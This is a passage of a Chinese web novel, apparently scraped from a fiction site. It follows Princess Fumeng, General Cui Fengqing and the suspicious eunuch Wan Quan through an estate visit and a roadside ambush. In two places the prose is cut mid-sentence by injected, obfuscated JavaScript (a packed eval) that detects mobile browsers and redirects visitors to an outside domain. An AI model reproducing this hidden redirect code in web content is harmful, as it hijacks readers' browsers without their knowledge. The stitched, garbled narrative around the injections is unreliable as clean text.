然而,希望如同投入深潭的石子,只激起短暂的涟漪,便迅速沉没于冰冷的死寂。 没有。 什么都没有。 没有夹层,没有密信,没有暗语,甚至连一个指向性的、能勾起回忆的特殊标记都找不到。 它就是一本再普通不过的琴谱,记载着几首流传甚广的、早已被人弹熟了的古曲。 夕阳的余晖透过窗棂,将室内染成一片惨淡的橘红。浮梦终于耗尽了最后一丝力气,也耗尽了最后一点侥幸。 “啪嗒。” 她松开手,任由那本承载了太多无望期盼的琴谱滑落在桌面上,发出一声轻响。 整个人像被抽走了骨头,软软地、无声地趴伏在冰冷的桌面上。 额头抵着粗糙的木质纹理,眼睛睁得极大,瞳孔却空洞地扩散着,失去了焦距,映照着窗外渐渐黯淡下去的天光。 “没有……什么都没有……” 声音轻若蚊蚋,带着浓重的鼻音和一种深入骨髓的疲惫与失望,与其说是在陈述,不如说是在麻木地重复一个早已确认的事实,仿佛这样就能说服自己接受现实。 “算了……本宫又不是第一次经历……” 这句话轻飘飘地落下,带着一种近乎自虐的认命感。是啊,从记事起,关于母亲的空白,关于那些被刻意抹去的痕迹,她经历的失望还少吗?每一次以为触碰到边缘,最终都只是撞上更厚实的、冰冷的壁垒。 守在旁边的春意,强撑着几乎要黏在一起的眼皮。这三日,她陪着公主几乎不眠不休,只零碎地合眼不到六个时辰,整个人困倦得像是踩在棉花上。 她努力抑制住喉咙里翻涌上来的、不知是第几百个哈欠,声音含混地劝道:“殿下,这么找下去……” 再熬下去,线索没找到,人怕是要先垮了。 话音未落,伏在桌上的浮梦却猛地弹了起来! 动作快得带起一阵风,惊得春意把剩下的半截话生生咽了回去,困意也吓跑了大半。 浮梦站得笔直,脸上残留着趴伏留下的红印和明显的倦色,但那双空洞的眸子却重新聚焦,燃起一种近乎执拗的、不肯就此认输的光。 琴谱这条路堵死了,但那块沉甸甸的石头——关于母亲、关于文先生、关于皇帝讳莫如深的态度,以及那桩悬在崔逢青头顶的、关乎她能否“安稳”完婚的城西疑案——依旧梗在心间,不上不下,堵得她喘不过气。 她需要转移注意力,需要新鲜的空气,更需要……掌握主动。 “走,”浮梦的声音带着三日未开口的微哑,却异常清晰,“去将军府探探情况。” 她抬脚就往外走,步履间带着一股破釜沉舟的决绝。走出两三步,发现春意还愣在原地,揉着眼睛,脚步虚浮,显然还没从极度困倦中完全清醒过来。 浮梦停下脚步,回头看着小侍女憔悴的脸,心头一软,随即嘴角勾起一个极淡的、带着点狡黠的弧度:“春意,”她声音放缓,带着不容置疑的命令,“你就留在客栈。” 春意下意识地张嘴想反驳,却被浮梦抬手打断。 “继续找找线索。”浮梦补充道,目光意有所指地扫过桌上那本琴谱和文先生送来的古琴, “或许……我们遗漏了什么细节。你心细,再仔细看看,特别是那把琴。” 果然,“找线索”三个字像一剂强心针,瞬间让困顿的春意精神一振。保护公主、完成公主交代的任务,早已刻进了她的骨子里。 她立刻挺直腰背,用力点头:“是!殿下放心,奴婢一定仔细查看!”眼中的困倦被责任感和一丝被委以重任的微光取代。 浮梦看着春意瞬间进入状态,满意地勾了勾唇。果然,还是得说“找线索”,若说让她休息,这丫头怕是拼命也要跟出来。 点上一只安神的熏香,她不再停留,转身推开房门。 甫一踏出厢房,如同踏入另一个世界。门外廊下,两名身材健硕、穿着粗布衣裳却眼神精悍的仆妇,如同两尊门神,立刻无声地躬身行礼,目光却如同黏在她身上。 浮梦眼神锐利地扫过廊柱的阴影、楼梯的拐角,甚至对面屋顶的轮廓——至少三道隐晦的、带着审视意味的视线,在她出现的瞬间便牢牢锁定。 “本宫要去将军府。”浮梦站定,声音不高,却清晰地回荡在走廊里。 她不说缘由,双手拢在袖中,好整以暇地站在原地,目光平静地观察着这些“眼睛”的反应。 身后的一名仆妇反应极快,立刻屈膝,声音平板无波:“奴婢给殿下请安,殿下万福。马车稍后就好。”语气恭敬,动作麻利,没有丝毫询问或阻拦的意思。 浮梦微微颔首,果然,一切都在预料之中。待她到了将军府,恐怕那里也早已被“安排”妥当了。 不多时,一辆青帷马车便稳稳地停在了客栈门口。马车低调,但拉车的马匹膘肥体壮,车辕坚固,显然是精心准备的。 浮梦在仆妇的搀扶下登车,车轮滚动,平稳地向将军府方向驶去。 路程比预想的要快,约莫两炷香的时间,马车便停了下来。浮梦掀开车帘一角,巍峨的将军府门楣映入眼帘。 黑漆大门紧闭,铜兽门环在阳光下泛着冷硬的光泽,门前石狮威严,透着一股生人勿近的肃杀之气。 她刚扶着仆妇的手踏下马车,正思忖着这紧闭的大门会如何应对她这位“不速之客”,甚至做好了被拒之门外的心理准备时,意想不到的一幕发生了。 只见那扇沉重的黑漆大门,“吱呀”一声,竟从内里迅速打开了。 紧接着,一个身着深灰色锦缎长袍、头发花白却精神矍铄的老者,以完全不符合其年龄的敏捷速度,几乎是“窜”了出来。 他几步便跨下台阶,冲到浮梦面前数步远的地方,动作利落地拂袖,深深一揖到底,声音洪亮中带着难以抑制的激动: “哎哟喂!老奴苏润德,拜见公主殿下!公主千岁千岁千千岁!” 这突如其来的热情和恭敬,让浮梦整个人都懵了。她脚步顿住,下意识地在心中打了个问号:“这……对吗?” 崔逢青的将军府,对她这位声名狼藉、还刚放了把火试图逃婚的公主,不应该是戒备森严、冷眼相待吗?这管家……热情得近乎诡异。 面上,她迅速调整好表情,略显尴尬地清了清嗓子,维持着公主的仪态,声音带着一丝恰到好处的疏离:“起来吧,不必多礼。” 说着,还略显僵硬地抬了抬手,示意对方起身。 “哎哎——多谢公主殿下!”苏润德动作麻利地直起身,脸上堆满了发自内心的笑容,皱纹都舒展开来。 他看向浮梦的眼神,充满了毫不掩饰的亲切和一种……近乎于“久别重逢”的欣慰?这种莫名的熟悉感和毫无隔阂的亲近,让浮梦心底的怪异感更重了。 她现有记忆中,绝无这位老管家的影子。 “请殿下随老奴来,”苏润德侧身引路,态度殷勤而不失分寸,“将军正在回府的路上,想必快到了。” 他一边说,一边脚步轻快地走在前面带路,袍角翻飞,竟透着一股年轻人般的活力。 浮梦不动声色地跟上,目光警惕地扫视着这座传闻中由崔逢青四年前北境初立战功后自立的府邸。 府门厚重,院墙高深,绕过巨大的青石影壁,眼前豁然开朗。 回廊曲折,连接着几处轩敞的厅堂,庭院中并非想象中的刀枪剑戟、肃杀之气,反而栽种着不少苍劲的松柏和几丛修竹,绿意盎然,透着一种内敛的雅致与力量感。 这与府邸外表的冷硬和坊间关于崔逢青“冷面阎罗”的传闻,倒是不同。 一路畅通无阻,仆从见到她,皆垂首躬身行礼,态度恭谨,并无半分轻视或探究。这种“宾至如归”的氛围,非但没有让浮梦放松,反而让她心中的警惕提到了最高点。 府外没有刁难,难道是藏在府内?苏管家的热情,是否是一种更高明的麻痹? 她被引入正厅,厅内陈设大气简洁,多硬木家具,线条刚硬,却又在细节处透着一丝不易察觉的精致。 刚落座,便有衣着素净、训练有素的丫鬟鱼贯而入,奉上茶点。 浮梦的目光落在面前小几上:一盏剔透的琉璃碗中盛着细碎的、冒着丝丝寒气的绵冰,浇着琥珀色的蜜汁; 一杯清澈的、浮着两片青柠的饮子,散发着薄荷与花果的清凉香气; 旁边几碟小巧的点心,造型别致,颜色鲜亮,一看便知是用了心思的。 更让她心头微动的是——那绵冰上的蜜汁,是她偏爱的桂花蜜; 那饮子,是她夏日最喜的“青玉饮”;那几样点心,竟也都是她平日里在“旧故里”常点的几样,这绝非巧合。 她下意识地抬眸,正对上侍立一旁的苏润德那双饱含殷切与期待的眼睛。那眼神仿佛在无声地说: “殿下快尝尝,可还合心意?”带着一种长辈般的关怀。 浮梦心头警铃大作,她迅速垂下眼睫,掩饰住眼中的惊疑,唇角勉强扯出一个“笑”,眼神却刻意避开了苏润德的视线,仿佛只是随意一瞥。 就在这略显尴尬的微妙时刻,一阵沉稳却略显急促的脚步声由远及近。 浮梦循声望去,只见崔逢青高大的身影出现在厅门口。 他依旧是一身玄色常服,身姿挺拔如松,只是那冷峻如石刻的脸上,此刻鼻尖竟挂着一层细密的汗珠,在厅外透进来的光线映照下,折射出点点晶莹。 尽管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他顺着她的话题,目光再次扫过桌上那些“不合时宜”的点心,心中念头急转。 既然苏伯已经“打草惊蛇”,不如……顺势而为?城西案确实有了点眉目,带她去,或许能更快打消她的疑虑?或许会有意外收获。他对她那日在御书房的表现,印象深刻。 “殿下若是感兴趣,”崔逢青开口,声音低沉平稳,目光直视浮梦,“不如与臣一道去看看。” 他刻意让自己的语气听起来坦荡,甚至带上了一丝苏润德式的、内敛的殷切与邀请。 浮梦敏锐地捕捉到他话语中的关键词——“去看看”?有线索了?她精神一振,暂时将府内的疑云压下。 能亲眼看看崔逢青查案的手段,掌握第一手信息,对她判断局势至关重要。传闻他“用兵如神,战术诡谲”,不知查案是否也是如此? 她站起身来,主动走近一步,姿态带着一种罕见的“合作”意味,声音也放柔了些,带着点探究的意味: “去往何处?”眼神竟破天荒地显露出几分和煦,仿佛刚才的审视只是错觉。 崔逢青被她这瞬间变脸般的“和蔼可亲”弄得微微一怔,眉头下意识地攒起。 这又是唱的哪一出?女人心,海底针……他一时竟不知该如何配合这突如其来的“善意”。 “咳,”崔逢青轻咳一声,也站起身来,微微侧身让开道路,沉声回道:“郊外的一处庄子。” 他以为王松年早已将京郊那处清幽园子的存在告知了公主。毕竟,那是他给她的“退路”之一。 郊外庄子?浮梦双眉一挑,心中了然。果然,看来线索指向了城外,这比困在长安城里更有价值。 她毫不犹豫:“将军带路。”语气干脆利落,眼神中那点“和蔼”迅速被一种跃跃欲试的锐利取代。 崔逢青看着她瞬间转换的眼神,心头那点疑惑更重了,但也只能转身引路。 他一边走,一边还在琢磨:她到底是知道了还是不知道?王松年那个木头到底有没有把话带到? 将军府外,崔逢青翻身上马,动作利落矫健,浮梦则登上来时的青帷马车。 在登上马车前,她的目光在崔逢青那匹神骏的黑马身上停留了一瞬,眼底闪过一丝不易察觉的羡慕和向往。 崔逢青敏锐地捕捉到了她那一闪而逝的眼神,握着缰绳的手微微一顿,但最终,还是什么也没说。时机未到,祖父那边……尚未同意这门亲事。 车马粼粼,再次启程。这一次,却是出东门。 浮梦坐在微微摇晃的车厢里,闭目养神,车行平稳,速度比来时似乎更快了些。当马车顺利通过东城门时,浮梦心中再次泛起一丝异样。 东门的盘查向来比西门更为严密,尤其在她“逃婚”事件之后。 然而今日,守卫只是象征性地看了一眼将军府的标识和崔逢青本人,便痛快放行,毫无前几日西门张直长那种刻意的刁难与搜查。 这种“畅通无阻”,在此时此地,反而更添一层深意。 是崔逢青的权势足以让城门守卫不敢造次?还是……有人早已打过招呼,默许了他们的行动? 她闭着眼睛,脑海中却飞速运转。 城西案的关键线索在城外庄子……那日王松年带走的书生明显是女子……这之间究竟有什么关联…… 马车载着重重疑云,驶向城外。 车窗外,长安城巍峨的轮廓渐渐远去。 12. 熟人 马车在郊外未经修葺的土路上颠簸前行,剧烈的摇晃如同重锤砸在浮梦空空如也的胃上。 车轮碾过坑洼,车身猛地一倾,浮梦下意识地攥紧了窗棂,指节因用力而泛白,额角渗出细密的冷汗。 腹中一阵难以抑制的绞痛翻搅上来,紧接着,一声清晰而绵长的“咕噜——”声在相对安静的马车厢内响起,格外突兀。 浮梦捂着隐隐作痛的胃部,苍白的脸上掠过一丝懊恼和窘迫。三日废寝忘食地钻研琴谱,本就耗尽了心力,腹中空空。 方才在将军府,满桌精致的点心近在咫尺,却因心中疑窦丛生,硬是一口未动,此刻在这剧烈颠簸之下,胃里如同翻江倒海,酸水直往上涌,难受得她眼前阵阵发黑。 “失策……”她低低地、带着点自嘲地咕哝了一句,声音轻得只有自己能听见,“早知道在府里就该塞两口……”哪怕知道那点心可能是试探,也比此刻这般狼狈强。 意识在饥饿和颠簸的双重折磨下有些恍惚。车轮单调的吱呀声、马匹沉重的喘息、以及车外崔逢青那匹坐骑规律的马蹄声,混杂成一片模糊的背景音。 就在这混沌的眩晕感中,一丝异样的、由远及近的急促马蹄声,如同投入粘稠湖水的石子,穿透了层层杂音,隐隐约约地钻入浮梦的耳膜。 起初她以为是错觉,是胃部抗议引发的幻听,然而那马蹄声越来越清晰,越来越急促,带着一种战场归来的风尘仆仆和十万火急的紧迫感。 “吁——报——!” 一声中气十足、带着金属般铿锵质感的呼喊,如同惊雷般在马车外炸响,瞬间将浮梦从混沌中彻底惊醒。 马车随之缓缓停下。 浮梦猛地坐直身体,强压下胃部的不适,侧耳凝神倾听。 “将军!末将盯着的——”外面传来一个粗犷的、刻意压低却依旧难掩焦灼的声音,正是之前见过的校尉郑闫。 后面的话语仿佛被风卷走,或者被说话人刻意吞没,浮梦竖起耳朵也未能听清。 一股不祥的预感瞬间攫住了她。 片刻沉寂后,崔逢青沉稳的脚步声靠近马车。车帘被一只骨节分明的手微微挑起一角,露出他线条冷硬的下颌。 他的声音透过缝隙传来,带着一丝不易察觉的凝重: “殿下,郊外的庄子出了事。臣……” 浮梦心头一紧,果然,她甚至没等崔逢青说完,便毫不犹豫地打断了他,声音带着一种不容置疑的果断: “将军不必顾虑本宫,赶过去便是。”开什么玩笑?线索就在眼前,若是因此被半路丢下或遣返长安,岂不是白白遭罪又错失良机?赔本的买卖她可不做。 车帘外,崔逢青似乎沉默了一瞬。他能听出她声音里强压下的不适,以及那份不容错过的急切。他眉心微不可察地蹙了一下,声音似乎更低沉了些,仿佛凑近了些许: “嗯。”他应了一声,随即,一句更轻、几乎贴着车帘缝隙飘进来的话,清晰地传入浮梦耳中:“马车桌下的暗格里有……公主喜欢的点心。” 声音低沉而快速,带着一种刻意的“非正式”,说完便不再停留。只听得马蹄声“嘚儿嘚儿”地重新响起,队伍再次加速前进。 浮梦愣了一下,随即立刻俯身,摸索着车厢内壁那张不起眼的小几下方。指尖触到一个隐蔽的凹槽,轻轻一按,“咔哒”一声轻响,一个隐藏的抽屉弹了出来。 里面整齐地码放着几块用油纸包裹好的精致点心——赫然是方才在将军府见过的其中几样,甚至还有一小壶温热的、散发着熟悉香气的“青玉饮”。 他……竟连这个都备在车里? 一丝极其复杂的情绪掠过浮梦心头,混杂着惊讶、一丝被看穿的窘迫,以及……一种难以言喻的怪异感。 但现在不是深究的时候。她迅速拿起一块点心塞入口中,甜软的滋味瞬间缓解了胃部的绞痛,又灌了几口饮子,冰凉的液体顺着喉咙滑下,让她混乱的思绪也清明了几分。 当她再次撩开车窗帘一角向外望去时,那座位于京郊、依山傍水而建的庄园轮廓已清晰可见。 然而,庄园外的景象却并非预想中的宁静。 远远望去,庄园开阔的前庭黑压压地聚集了数十人,气氛诡异。 一个身着深色道袍、手持一柄玉质拂尘、须发皆白的老者,端坐在庭院中央临时摆放的太师椅上,姿态从容,正对着下面的人说着什么。 底下的人群交头接耳,窃窃私语声如同蜂群嗡鸣,其中更夹杂着几声压抑的、带着怒气的低吼。 “凭什么不让走?!” “说好的今日结算放人!” “你们这是强……” 几个情绪激动、衣着相对体面的年轻人似乎想强行离开,却被几个身材魁梧、面无表情的庄丁死死按住肩膀,强行压跪在地,动弹不得。 反抗者的挣扎在绝对的力量压制下显得徒劳而狼狈。 与此同时,另一些人也排着队,正从庄丁手中接过一小袋东西,掂量一下,脸上便露出几分满足的红润。 那景象,乍一看倒真像是庄园主在给长工们结算工钱,一派“祥和”。 但这“祥和”之下涌动的暗流,却让浮梦嗅到了不对劲。自愿结算工钱?为何有人被强行压制?这诡异的氛围,像是精心排练过的戏码,处处透着刻意的“合理”。 崔逢青显然也看到了这一幕。他并未立刻靠近,只是勒住马缰,停在稍远处,抬手做了个简洁的手势。 无声的命令瞬间传达,跟随而来的精锐亲卫如同水银泻地,悄无声息地散开,迅捷而精准地将整个庄园外围的各个出口、围墙豁口尽数封锁,形成了一道密不透风的包围网。 浮梦走下了马车,强忍着胃部残余的不适,跟在崔逢青身后,步入了这座透着古怪的庄园。 郑闫已如铁塔般立在庭院中央,手中长刀并未出鞘,但那股沙场磨砺出的凛冽煞气已足以震慑全场。 他目光扫过全场,那些拿到“工钱”的人下意识地缩了缩脖子,几个被按在地上的反抗者则像是看到了救星,挣扎得更厉害了。 直到此刻,浮梦才真正看清了这些被“结算工钱”的人——他们大多年纪相仿,约莫二十上下,容貌端正甚至称得上俊秀,衣着虽沾了些尘土,但料子皆是上乘,剪裁合体,绝非普通农庄长工所能拥有。 她的目光猛地抬起,正对上那位端坐主位、手持玉拂尘的老者投来的视线。 四目相对的瞬间,浮梦瞳孔骤然收缩! 是他?! 老者显然也认出了浮梦,脸上闪过一丝极其短暂的错愕,随即迅速恢复平静。 他从容起身,拂尘轻搭臂弯,迈着不疾不徐的方步,穿过噤若寒蝉的人群,径直朝浮梦和崔逢青走来。 待到近前,老者微微躬身,姿态恭谨却不卑不亢,声音平稳清晰: “老奴万全,见过公主殿下,公主万福金安。” 万全,真的是他。皇帝身边曾经最得力的四大总管之一,十年前,据说因“年老体衰”被恩准出宫、前往江南荣养的老太监,他怎么会出现在京郊的庄园里? 浮梦心中惊涛骇浪,面上却只微微颔首,声音带着一丝不易察觉的紧绷:“起身吧。”她轻轻抬手示意,强行压下了心头的万千疑问。 “多谢公主。”万全依言直起身,目光这才转向浮梦身侧、气场迫人的崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093115|179669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逢青。他的眼神带着恰到好处的陌生与探究。 浮梦压下翻腾的心绪,主动开口道:“此乃骠骑将军,崔逢青。” 万全脸上立刻露出“恍然大悟”的恭敬表情,再次躬身:“老奴眼拙,见过崔将军。” 态度无可挑剔,仿佛真的从未见过这位名震长安的煞神。 崔逢青的目光在万全脸上停留了一瞬,又扫过他手中那柄价值不菲、光润如玉的拂尘柄,眼神深邃难测。 他也只是淡淡地“嗯”了一声,算是回应,传闻中颐养天年的老太监,竟出现在此地,这本身就透着一股山雨欲来的气息。 此时,郑闫已大致控制住场面,安排人手将人群分开看管,进行初步问询。 他大步流星地走过来,眼神锐利地盯住万全,毫不客气地问道:“说说吧!这怎么回事?这些人是干嘛的?地上那几个又在闹什么?” 万全面对郑闫的质问,脸上依旧挂着那副从容淡定的笑容,手中玉拂尘轻轻一摆,仿佛拂去尘埃: “回这位将军的话,此处乃是老主人名下的一处清修别业。这些年轻人,”他指了指那些拿着钱袋、神情各异的人, “皆是自愿来此做工,赚取些辛苦钱,补贴家用罢了。 庄子里有些活计,需得年轻力壮的小伙子。为了方便管理,也让他们能常回家看看,便定了个轮番归家的章程。 今日,恰好是其中一批人结算工钱,准备归家的日子。” 他顿了顿,目光转向那几个被士兵从地上拉起、犹自愤愤不平的年轻人,包括那个叫嚣得最厉害的谢今茛,语气带着一丝无奈的笑意,仿佛在包容不懂事的晚辈: “至于这几位小郎君嘛……年轻人,性子急些,总有些人嘴上说是自愿,临到归家时,又嫌规矩繁琐,闹腾起来也是有的。” 他看向崔逢青,话锋一转,带着点请教和寻求认同的意味: “将军统领千军万马,这等刺头新兵,想必也是见怪不怪了吧?总得有些……管教的手段,方能令行禁止,您说是不是?” 这番话滴水不漏,将一切不合理都归咎于“年轻人不懂事”和“必要的管理手段”,甚至将崔逢青拉下水,暗示军队里也少不了这种事。 郑闫听得浓眉紧锁,正待反驳,一个负责带人搜查庄园的亲兵疾步走到他身边,附耳低语了几句。 郑闫的脸色瞬间变得有些难看,他看向崔逢青,缓缓地、带着一丝不甘地摇了摇头——没有发现任何可疑的囚禁痕迹、密室、或与失踪案直接相关的证据。 浮梦一直冷眼旁观,将万全的说辞和郑闫的反馈尽收眼底。 漏洞太多了,富家子弟“自愿”来京郊庄园做苦力?距离长安城咫尺之遥却要“轮番归家”?而且,那些失踪的人,从未听闻有谁回来过。 这老狐狸,分明是在编织一张看似合理实则不堪一击的网。 然而,没有证据,一切质疑都苍白无力。崔逢青显然也明白这点。 他面无表情,目光如同冰冷的刀锋,在万全那张波澜不惊的老脸上刮过,最终沉声道: “既如此,今日叨扰了。郑闫,带上这几位……‘归家心切’的郎君,我们走。” 他刻意加重了“归家心切”几个字,目光扫过谢今茛等人。 无功而返,唯一的庄园线索,在万全滴水不漏的应对和空荡荡的搜查结果面前,似乎彻底断了。 浮梦心中憋闷,只能随着崔逢青转身离开。 那几个被“解救”出来的纨绔子弟,此刻如同斗胜的公鸡,趾高气扬地跟在队伍后面。 谢今茛更是喋喋不休,叫嚣着回去要让他爹(吏部侍郎)带兵来把这“土匪窝”给端了。 13. 灰飞烟灭 车马重新踏上返程的路,来时满腹疑窦,归时更添憋屈。队伍沉默地行进在林间道上,只有车轮声、马蹄声和后面那几个纨绔的聒噪声。 行至一处林木格外茂密、道路相对狭窄的弯道时,前方的崔逢青猛地勒紧缰绳。 “停!”一声低喝如同惊雷,瞬间打破了林中的沉寂。 “吁——!”训练有素的亲卫们几乎同时勒马,动作整齐划一。 郑闫反应迅猛,一把抽出腰间佩刀,寒光一闪,人已如猎豹般悄无声息地贴到了熙仁公主马车尾部,目光如炬地扫视着两侧幽暗的密林。 车厢内,浮梦也被这突如其来的变故惊得心脏一缩。她刚想掀帘询问—— “殿下,”崔逢青低沉而冷静的声音已隔着车帘传来,带着一种不容置疑的安抚力量,“此处有人埋伏,安心待在马车内。” 他停顿了一瞬,仿佛在斟酌,又仿佛在做一个郑重的承诺,声音清晰而沉稳地补充了两个字: “信我。” 一股难以言喻的暖流混着更深的寒意,瞬间涌上浮梦心头,信他? 跟在队伍后面的谢今茛等人也察觉到了气氛的骤变,吓得噤若寒蝉。 四周死寂一片,只有风吹过林梢的呜咽,和远处几声不知名的鸟鸣,紧张的气氛如同拉满的弓弦。 片刻的寂静后,一个胆子稍大的纨绔似乎觉得虚惊一场,忍不住低声抱怨:“搞什么……不过是郊外风大……” 话音未落—— “咻——!” 一道尖锐刺耳的破空之声撕裂了空气。 一支漆黑的弩箭,如同来自幽冥的索命符,精准无比地从侧前方密林深处激射而出。 噗嗤! 箭矢精准地没入那出声纨绔的眉心。他甚至来不及发出惨叫,脸上那点不耐烦的表情瞬间凝固,双眼圆瞪,带着极致的惊恐和茫然,身体晃了晃,直挺挺地向后栽倒。 猩红的血珠顺着眉心箭杆缓缓渗出,在死寂中显得格外刺目。 “敌袭——!保护公主!保护将军!” 郑闫的怒吼如同炸雷,瞬间让在场的每个人警惕起来。 崔逢青端坐马上,身形纹丝未动,仿佛刚才那血腥一幕只是幻影,冰冷的目光如同实质的利刃,扫向弩箭射来的方向,声音不大,却蕴含着雷霆万钧的穿透力,清晰地回荡在密林上空: “藏头露尾!既然来了,何不现身一见?!” 回答他的,是更加猛烈的风声,卷起地上的尘土和血腥味,弥漫在紧张到极点的队伍之中。 浮梦在车厢内,心脏狂跳,她紧紧攥着袖中的瓷瓶,指尖冰凉。 目标是谁?是她?是崔逢青?还是……为了灭口那几个刚从庄园带出来的纨绔?或者,是为了阻止他们追查城西案? 长安城外,天子脚下,竟有人敢设伏袭击当朝公主和骠骑将军?这背后牵扯的力量,令人不寒而栗。 林中依旧一片死寂,仿佛刚才那致命的一箭只是错觉。就在所有人都以为对方已经退走或是在酝酿更恐怖的攻击时—— “咻——咻——咻——!” 又是三支劲弩,呈品字形,撕裂空气,带着尖锐的厉啸,目标直指浮梦所在的马车车厢。 这一次,箭矢的轨迹彻底暴露了袭击者的具体位置。 崔逢青眼中寒芒暴涨,几乎在箭矢离弦的瞬间,他左手已闪电般从马鞍旁摘下一张漆黑的强弓,右手三支羽箭同时搭上弓弦。 弓开如满月。 他看也不看那射向马车的三支弩箭,所有的精气神瞬间凝聚于一点,弓弦发出不堪重负的嗡鸣。 “咚!” 三支羽箭化作三道索命的黑光,以更快的速度、更刁钻的角度,后发先至,精准无比地射向弩箭射出的密林深处,目标直指弩手! “笃!笃!笃!”三声闷响几乎不分先后地传来,伴随着几声短促的闷哼和重物倒地的声音。 与此同时,郑闫已如同猛虎下山,手中长刀舞成一片光幕,精准地格飞了射向马车最近的一支弩箭!另外两支则“咄咄”两声,深深钉入了马车厚实的厢壁,箭尾兀自剧烈震颤。 “杀——!” 眼见弩箭偷袭不成,密林中骤然爆发出一片充满杀气的怒吼。 数十道身着灰褐色劲装、面覆黑巾的身影,如同鬼魅般从树影草丛中暴起!他们手中利刃寒光闪烁,目标明确——无视了外围的亲卫和崔逢青,如同嗅到血腥味的狼群,直扑浮梦的马车。 “保护殿下!” 崔逢青厉声下令,声音沉稳如磐石。他手中强弓已换成佩刀,刀光如匹练,瞬间斩飞一个扑到近前的刺客头颅。热血喷溅,染红了他的玄色衣襟。 郑闫更是如同门神,死死守在马车后方,长刀挥舞得泼水不进,每一刀下去都带起一蓬血雨。 亲卫训练有素,迅速结成防御圆阵,将马车护在中心,刀光剑影与刺客的利刃激烈碰撞,金铁交鸣之声、怒吼声、惨叫声瞬间响彻林间。 战斗爆发得突然,结束得也快。 崔逢青的亲卫皆是百战精锐,人数虽略少于刺客,但配合默契,战力强悍。 刺客虽悍不畏死,但在绝对的实力和严密的防御面前,如同撞上礁石的浪花,不过半盏茶的功夫,地上已躺倒一片刺客尸体,血腥味浓烈令人作呕。 残存的几名刺客眼见事不可为,毫不犹豫地咬碎了藏在齿间的毒囊,身体剧烈抽搐几下,便口吐黑血,气绝身亡,动作决绝,显然是死士。 现场瞬间陷入一片诡异的死寂,只有伤者的呻吟和粗重的喘息声。 就在这死寂中,一个身影猛地从惊魂未定的纨绔堆里跳了出来——正是谢今茛。 他脸上犹带着劫后余生的苍白和未散的惊恐,但更多的是一种虚张声势的暴怒。 他几步冲到一名被捆住手脚、尚未断气的刺客面前,狠狠一脚踹在对方胸口。 “呸!”他啐了一口唾沫,落在刺客脸上,声音尖利,带着发泄般的狂躁, “狗东西!就凭你也敢绑架小爷?!还想杀小爷?!我呸——瞎了你的狗眼!” 他这一闹,仿佛给其他几个吓傻的纨绔壮了胆,也纷纷围上来,对着地上的刺客尸体或俘虏拳打脚踢,嘴里不干不净地咒骂着。 明眼人都看得出,刺客的主要目标是马车里的公主,但这群惊魂未定的纨绔子弟,似乎更愿意相信自己是“被绑架的苦主”,此刻“英雄”般地“反杀”了绑匪。 谢今茛发泄了一通,犹自不过瘾,竟整理了一下凌乱的衣袍,脸上挤出几分“英勇”和“关切”,试图绕过地上的尸体,凑近公主的马车。 “公主殿下,您受惊了!”他隔着几步远,对着马车方向大声喊道,声音带着刻意拔高的“忠勇”, “莫怕!我乃谢氏嫡长子谢今茛!您放心,待我等回到长安,禀明家父,定要调集兵马,将这伙胆大包天的土匪余孽,连根拔起!为您……” “滚!”一声暴躁的怒吼打断了他的表演。 郑闫如同拎小鸡一般,大手一把揪住谢今茛的后衣领,毫不客气地将他整个人提溜起来,粗暴地往远离马车的方向一推搡。 “再敢靠近惊扰殿下,老子先剁了你!” 郑闫瞪着一双铜铃大眼,杀气腾腾,手中长刀还滴着血,吓得谢今茛一个趔趄,脸色煞白,再不敢多言半句,被其他士兵连推带搡地赶到一边看管起来。 郑闫的骂声和谢今茛的狼狈退走声渐渐远去。 崔逢青正欲下令清理现场,押送俘虏返程,他目光扫过战场,最后落在浮梦的马车上,确认车帘紧闭,心中稍安。 然而,就在这短暂的、战斗结束后的喘息之机—— “将军!快看!”一名眼尖的亲卫突然指着他们来时的方向,失声惊呼。 众人循声望去, 只见远处,那座刚刚离开不久的庄园方向——一股浓烈得如同墨汁般的滚滚黑烟,正冲天而起,直上云霄。 在午后惨淡的阳光下,张牙舞爪地宣告着毁灭…… 火光,在浓烟底部隐隐翻腾。 万全的庄园……被烧了。 就在他们离开后不到半个时辰…… 长安城,皇城深处。日暮西下,沉沉地覆盖着金碧辉煌的宫阙。 白日里庄严肃穆的飞檐斗拱,在阴影中蛰伏,宛如沉睡的巨兽脊骨。 一道贴着冰冷宫墙的阴影,无声疾行,他的动作异常迅捷流畅,如同掠过水面的鬼魅,对宫禁的布局和巡逻间隙了如指掌。 厚重的宫靴踏在青石板上,竟未发出丝毫声响,仿佛足不沾地。 深色的、毫无标识的劲装包裹着精悍的身躯,脸上覆着一层薄如蝉翼的特制面罩,只露出一双毫无情绪、如同两口深潭般的眼睛,冰冷地映照着沿途昏暗的宫灯。 身影穿过层层叠叠的宫门和回廊,最终悄无声息地潜入后宫区域,如同水滴汇入大海,消失在一处最为华贵、守卫森严的宫殿群落深处。 殿宇深处,一间暖阁内烛火通明,却透着一股与外间夜色截然不同的慵懒暖香。熏炉里袅袅升起甜腻的苏合香气,与另一种更清雅的花香交织。 “喵~……喵~……喵~……” 三声带着特定节奏的猫叫声,突兀地响起在暖阁紧闭的雕花木窗外。 声音不高,却穿过了窗棂缝隙和层层垂落的、价值千金的鲛绡纱幔,清晰地送入暖阁之内。 暖阁中央,一张铺着雪白狐裘的贵妃榻上,斜倚着一位宫装丽人。 云鬓高挽,珠翠生辉,一身茜素红的宫装衬得肌肤胜雪。 她正低垂着眉眼,神情专注地欣赏着自己一双保养得宜、纤纤如玉的柔荑。 指尖上,新染的凤仙花汁色泽艳丽,如同凝固的血珠,在烛光下泛着诱人的光泽。 